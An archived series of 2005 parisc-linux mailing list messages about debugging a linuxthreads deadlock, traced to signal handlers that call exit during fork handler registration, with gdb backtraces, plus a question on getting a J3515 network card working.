Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5CADF7D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 20:45:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j372j7hF008447; Wed, 6 Apr 2005 22:45:07 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j372j6YF008446;
	Wed, 6 Apr 2005 22:45:06 -0400 (EDT)
In-Reply-To: <200504062012.j36KCW74007167@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Apr 6, 2005 04:12:31 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: o/smYsBqeSE5+76WZHQhaXN2IGRvb4AD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22587

> 0x4016f05c in __pthread_sigsuspend (set=0xbff00dc8)
>     at ../linuxthreads/sysdeps/unix/sysv/linux/pt-sigsuspend.c:54
>     54      ../linuxthreads/sysdeps/unix/sysv/linux/pt-sigsuspend.c: No such file or directory.
> 	    in ../linuxthreads/sysdeps/unix/sysv/linux/pt-sigsuspend.c
> (gdb) bt
> #0  0x4016f05c in __pthread_sigsuspend (set=0xbff00dc8)
>     at ../linuxthreads/sysdeps/unix/sysv/linux/pt-sigsuspend.c:54
> #1  0x4016ede0 in __pthread_wait_for_restart_signal (self=0x40184b80)
>     at pthread.c:1203
> #2  0x4017081c in __pthread_alt_lock (lock=0x406c2980, self=0x40184b80)
>     at restart.h:34
> #3  0x4016d480 in *__GI___pthread_mutex_lock (mutex=0x406c2970) at mutex.c:123
> #4  0x40662234 in __unregister_atfork (dso_handle=0x40184ac0) at list.h:72
> #5  0x4016a930 in __do_global_dtors_aux () from /usr/lib/debug/libpthread.so.0
> #6  0x40173bb0 in _fini () from /usr/lib/debug/libpthread.so.0
> #7  0x400b6898 in _dl_fini () from /lib/ld.so.1
> #8  0x400b6898 in _dl_fini () from /lib/ld.so.1

I think there is a race condition between the parent and child regarding
the lock used for __unregister_atfork.  As a result, the parent suspends
itself waiting for a restart signal that never gets generated.  If I add
an alarm(2) call to exit_on_signal, then parent exits when the alarm occurs.

Based on my testing, we get a SIGCHLD signal delivered before the
SIGUSR2, and no restart after the wait:

dave@hiauly6:~/gcc_test/pthr/carlos$ ./foo
Parent = 26338
restart signal 18
Exiting on signal from child
Waited for child 26339

Don't fully understand the use of the __status field in
struct _pthread_fastlock but the parent suspends when it's nonzero.
It's set twice at 0x401707c0:

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dave/gcc_test/pthr/carlos/foo
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 26626)]
Parent = 26626
[Switching to Thread 16384 (LWP 26626)]

Breakpoint 5, 0x401707c0 in __pthread_alt_lock (lock=0x406c2980, self=0x0)
    at spinlock.c:374
374     spinlock.c: No such file or directory.
    in spinlock.c
(gdb) bt
#0  0x401707c0 in __pthread_alt_lock (lock=0x406c2980, self=0x0)
    at spinlock.c:374
#1  0x4016d480 in *__GI___pthread_mutex_lock (mutex=0x406c2970) at mutex.c:123
#2  0x4016dad8 in __pthread_fork (b=0x406c2970) at ptfork.c:33
#3  0x4062011c in __libc_fork ()
    at ../linuxthreads/sysdeps/unix/sysv/linux/fork.c:40
#4  0x000109d4 in main () at foo.c:42
(gdb) c
Continuing.
Child = 26627
Parent done.

Breakpoint 5, 0x401707c0 in __pthread_alt_lock (lock=0x406c2980, self=0x0)
    at spinlock.c:374
374     in spinlock.c
(gdb) c
Continuing.
restart signal 18

Breakpoint 3, exit_on_signal (signr=17) at foo.c:17
17        fprintf(stderr, "Exiting on signal from child\n");
(gdb) c
Continuing.
Exiting on signal from child
Waited for child 26627

Program exited normally.

With the break 5 enabled, the __status field is 0 when exit_on_signal
is entered.  When it's disabled, the __status is 1 when exit_on_signal
is entered and the parent fails to to terminate.  When 5 is disabled,
we also don't get the Parent done message.

The second break 5 occurs here:

Breakpoint 5, 0x401707c0 in __pthread_alt_lock (lock=0x406c2980, self=0x0)
    at spinlock.c:374
374     in spinlock.c
(gdb) bt
#0  0x401707c0 in __pthread_alt_lock (lock=0x406c2980, self=0x0)
    at spinlock.c:374
#1  0x4016d480 in *__GI___pthread_mutex_lock (mutex=0x406c2970) at mutex.c:123
#2  0x40662234 in __unregister_atfork (dso_handle=0x40184ac0) at list.h:72
#3  0x4016a930 in __do_global_dtors_aux () from /usr/lib/debug/libpthread.so.0
#4  0x40173bb0 in _fini () from /usr/lib/debug/libpthread.so.0
#5  0x400b6898 in _dl_fini () from /lib/ld.so.1
#6  0x400b6898 in _dl_fini () from /lib/ld.so.1

Here we are unregistering the fork handlers.  I have the feeling
that we die when the SIGUSR2 signal is taken while the __status
field is 1 in the first attempt at doing __unregister_atfork.

It seems that the problem is with exit when it's used in a
signal handler receiving signals from children.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J3515 100Bas-T LAN HSC single port NIC: supported
	on a D380/C110?
Date: Thu, 7 Apr 2005 19:21:20 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <4208898700017E6E@mail-4-bnl.tiscali.it>
References: <20050406163328.GE16157@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623744 13723 80.91.229.3 (22 Nov 2014 02:35:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Apr 2005 17:22:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 07 Apr 2005 19:22:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C4FA7D6A1;
	Thu,  7 Apr 2005 11:22:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08703-09; Thu, 7 Apr 2005 11:22:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47A797D6A5;
	Thu,  7 Apr 2005 11:22:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CC2B7D69D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Apr 2005 11:22:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08703-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Apr 2005 11:22:13 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id EF4797D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Apr 2005 11:22:12 -0600 (MDT)
Original-Received: from mail-4-bnl.mail.tiscali.sys ([10.39.115.134]
	helo=mail-4-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43)
	id 1DJahj-0000bi-3Y; Thu, 07 Apr 2005 19:22:08 +0200
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Thu, 7 Apr 2005 19:21:20 +0200
In-Reply-To: <20050406163328.GE16157@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MgknYoU3eSE5+76WZHQhaXN2IGRvbwAU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22588

Hello Matthew,

> 
> On Wed, Apr 06, 2005 at 06:27:53PM +0200, Joel Soete wrote:
> > I find a spare (antistaic pakage still sealed :-) ) J3515 hsc (iirc g=
sc)
> > nic.
> > 
> > I know I could plug in the d380 I get for additional test but could i=
t
> also
> > be compatible in a C110 model (I try to have a look in hw db and C110=

owner's
> > guide but not find this info)?
> > 
> > Any way would it be supported on the D with a parisc-linux kernel?
> 
> It's a Tulip + Dino on a card.  It ought to work, but I've had trouble
with
> it on a K-class.  Please try it ;-)
> 
I installed it and tryied to boot with my c110 2.6.12-rc-pa config but it=

doesn't seems to see it (only eth0 in the boot logs).
I presume that I would need to add some more nic support to my kernel con=
fig
because otc the sarge d-i netinstall cd presents me well two nic:
eth0 Digital ...
eth1 lasi...

unfortunately when this cd install was finished, the reboot on the main d=
isk
hung when loading the tulip module :-(
...
Checking root file system...
fsck 1.35 (28-Feb-2004)
/: clean, 10962/783360 files, 240240/1566306 blocks
EXT3 FS on sda5, internal journal
System time was Thu Apr  7 16:39:26 UTC 2005.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Thu Apr  7 16:39:28 UTC 2005.
Cleaning up ifupdown...done.
Calculating module dependencies... done.
Loading modules...
    lasi700
    lasi_82596
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xffd07000, IRQ 87
eth0: 82596 at 0xffd07000, 08 00 09 D2 89 15 IRQ 87.
    sd_mod
    sr_mod
    tulip

Was it the kind of pb which you encountered?

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Thu, 7 Apr 2005 22:56:00 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200504080256.j382u0x0013973@hiauly1.hia.nrc.ca>
References: <200504070245.j372j6YF008446@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623745 13725 80.91.229.3 (22 Nov 2014 02:35:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Apr 2005 02:56:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 08 Apr 2005 04:56:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E47147D69B;
	Thu,  7 Apr 2005 20:56:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09440-09; Thu, 7 Apr 2005 20:56:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 498A67D695;
	Thu,  7 Apr 2005 20:56:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 837217D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Apr 2005 20:56:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09440-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Apr 2005 20:56:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0267E7D671
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Apr 2005 20:56:03 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j382u0hF013974; Thu, 7 Apr 2005 22:56:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j382u0x0013973;
	Thu, 7 Apr 2005 22:56:00 -0400 (EDT)
In-Reply-To: <200504070245.j372j6YF008446@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Apr 6, 2005 10:45:06 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mZcnYql+eSE5+76WZHQhaXN2IGRvb0Dm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22589

After thinking a bit more about this, I'm convinced that the problem
is a race between the registration of fork handlers and the delivery of
the signal.  If the signal handler is called before the registration
is complete, the code suspends when the signal handler exits and
tries to unregister the fork handlers.  The test works if the signal
is delayed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Fri, 8 Apr 2005 18:54:20 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <200504082254.j38MsKfA018596@hiauly1.hia.nrc.ca>
References: <20050408212918.GK1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623745 13736 80.91.229.3 (22 Nov 2014 02:35:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Apr 2005 22:55:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 09 Apr 2005 00:55:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D6017D672;
	Fri,  8 Apr 2005 16:54:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17963-09; Fri, 8 Apr 2005 16:54:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B9ED7D673;
	Fri,  8 Apr 2005 16:54:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 887407D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Apr 2005 16:54:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17963-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Apr 2005 16:54:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0772F7D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Apr 2005 16:54:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j38MsKhF018598; Fri, 8 Apr 2005 18:54:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j38MsKfA018596;
	Fri, 8 Apr 2005 18:54:20 -0400 (EDT)
In-Reply-To: <20050408212918.GK1833@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 8, 2005 05:29:18 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kG4lYk8weSE5+76WZHQhaXN2IGRvb4DV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22590

> Since technically this is not possible, the mutex .lock in __fork_block
> makes sure that such a thing can't occur.

The program hangs doesn't it?

If the handler registration is done before the fork, I'll believe you.
However, if they are done after the fork, the lock isn't going to help.
The same problem could occur if a signal is taken during deregistration
when exiting from main.

A signal can be taken while the mutex is locked, or as it appears when
__status is 1.  Since the signal handler does an exit, the main code
never runs again and there is no way it can change the lock or __status.
So, we end up suspending the task while its trying to exit (i.e.,
deadlock).

If the signal handler returns instead of exits, there isn't a problem.
If the child delays sending the signal a bit, there isn't a problem.

In the presence of signals, I believe that adding and removing
handlers run at exit needs to be atomic.  A simple mutex isn't
sufficient as a thread or task may die in the critical region.
Even if there is a mutex recovery mechanism, a handler might get
run twice, etc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Fri, 8 Apr 2005 20:13:21 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200504090013.j390DLSC019178@hiauly1.hia.nrc.ca>
References: <20050408212918.GK1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623745 13739 80.91.229.3 (22 Nov 2014 02:35:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2005 00:14:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 09 Apr 2005 02:14:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D04587D678;
	Fri,  8 Apr 2005 18:13:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18683-07; Fri, 8 Apr 2005 18:13:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 538C27D67C;
	Fri,  8 Apr 2005 18:13:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 606DB7D675
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Apr 2005 18:13:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18390-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Apr 2005 18:13:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CA2867D672
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Apr 2005 18:13:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j390DLhF019179; Fri, 8 Apr 2005 20:13:22 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j390DLSC019178;
	Fri, 8 Apr 2005 20:13:21 -0400 (EDT)
In-Reply-To: <20050408212918.GK1833@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 8, 2005 05:29:18 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HXslYtIveSE5+76WZHQhaXN2IGRvbwC8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22591

> Since technically this is not possible, the mutex .lock in __fork_block
> makes sure that such a thing can't occur.

Just wondering if this has to do with rt signals versus old style linux
signals (ia64 seems to define some wrappers).

Dave
-- 
